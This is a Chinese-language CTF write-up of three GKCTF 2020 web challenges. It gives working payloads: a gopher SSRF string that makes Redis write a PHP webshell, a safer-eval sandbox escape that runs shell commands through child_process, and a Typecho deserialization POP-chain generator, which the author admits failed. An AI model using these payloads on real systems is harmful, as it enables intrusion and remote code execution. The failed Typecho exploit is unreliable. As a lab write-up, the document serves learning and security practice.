【GKCTF 2020】ez三剑客
【GKCTF 2020】ez三剑客
收获
- gopher协议SSRF
- 多利用github搜索已存在的函数漏洞
- CMS审计的一些方法
1. ezweb
打开题目给了一个输入框,能够向输入的url发送http请求。F12查看一下,发现hint:?secret
,将其作为当前url的GET参数:
直接给出了靶机的路由表,说明是一个SSRF。
1.1 file协议读源码
file:///var/www/html/index.php
失败,继续尝试:
file:/var/www/html/index.php
这两种方法是等效的,这下看到了index.php的内容:
?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}
if(isset($_GET['submit'])){
$url = $_GET['url'];
//echo $url."\n";
if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
{
//var_dump($match);
die('别这样');
}
curl($url);
}
if(isset($_GET['secret'])){
system('ifconfig');
}
?
原来这里过滤了file://同时也过滤了dict协议,但是没有过滤gopher。
1.2 BP扫内网
抓包在第一个网段的C段下进行扫描:
可以看到,提示应该是在该地址上的其他端口中。
1.3 测试端口
这里重点测试SSRF的常用利用端口:mysql(3306)、redis(6379)。当然也可以使用Bp的intrude爆破其他端口。
提交172.2.158.173:6379
的url时出现:
说明开启了Redis服务。经典的Gopher协议来打Redis。
1.4 Gopherus生成payload:
工具可以在github上下载:
python2 gopherus.py --exploit redis
这里我们将shell.php直接写入:
<?php echo system('cat flag')?>
gopher://172.2.158.173:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20echo%20system%28%27cat%20/flag%27%29%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
将其输入到提交的url框中。
1.5 查flag
接下来只需要访问shell.php即可:
172.2.158.173/shell.php
得到flag:
2. easynode
贴个源码:
const express = require('express'); //express是一个Node.js框架
const bodyParser = require('body-parser');
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库
const fs = require('fs');
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000); //取消上面的delay时间的定时器,直接一秒之后输出timeout
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});
// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html'))
})
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
2.1 分析
可以看到主要能利用的地方是saferEval
函数。于是去github上搜一搜该函数的issue:
这里通过获取process变量的全局应用,执行了系统命令。
2.2 setTimeout绕过
源代码中Next()
函数表示一个回调操作,Nodejs会通过其将控制权交给下一个中间件处理函数,也就是app.post('/eval', function (req, res)
部分。
所以为了能够成功执行到saferEval
函数,我们需要绕过const t = setTimeout(() => next(), delay);
,使其在远低于delay时间下执行next
函数。
但是这个函数存在一个漏洞,当我们设置的计时器内容过大时,这里是超出2147483647秒时,会发生溢出,导致delay的内容为1,也就是一毫秒内就执行next
函数。
2.3 Payload
RCE部分:
e = setInterval.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString();
可以看到是一个root用户,换成命令cat /flag
直接读flag。
3. eztypecho
有了之前typecho反序列化的基础:【MRCTF2020】Ezpop_Revenge——PHP原生类SSRF,看这个就明白很多。
3.1 分析源码
定位到Install.php中,全局搜索unserialize函数。
可以看到要进入反序列化函数,首先需要设置GET参数finish;同时需要设置cookie:__typecho_config,这可以通过POST变量来设置(原因在get函数中写了)。
可以看到条件满足,成功设置了cookie,下一步,我们就需要使其SESSION不为空。但是搜索一下发现无法设置session。于是考虑另一个反序列化函数:
这里设置一个start参数即可。那下面就是找POP链。
3.3 POP链
首先上面的代码中存在字符串操作:
$type = explode('_', $config['adapter']);
自然想到__toString方法。全局搜索一下,发现/var/Feed.php中有线索:
这里如果$item['author']类中不存在screenName属性,就会自动调用get方法。
全局搜索一下__get方法:
存在这个get魔术函数,其中这个变量key为属性screenName。继续跟进其中的get方法:
该get函数返回时,会调用__applyFilter
函数,于是跟进看一下:
其中这个call_user_func
函数的$filter变量和$value变量都是可控的,并且这里的几个函数都在同一个文件中,这样我们就可以根据其进行RCE。
反序化链为:
Feed.php:Typecho_Feed::__toString()->Request.php:Typecho_Request::__get()->get()->__applyFilter()->call_user_func()
3.4 Payload
如下:
<?php
class Typecho_Feed{
//前面的判定条件
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
private $_items=array();
public function __construct(){
$this->_type = $this::ATOM1;
$this->_items[0] = array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request{
private $_params=array();
private $_filter = array();
public function __construct(){
$_params['screenName']='system("ls")';
$this->_filter[0] = 'assert';
}
}
$a=array(
'adapter'=>'new Typecho_Feed()',
'prefix' => 'typecho_'
);
echo base64_encode(serialize($a));
?>
感觉是对的,但是没成功。试了网上现成的exp也没成功,不知道为啥,是不是环境的问题。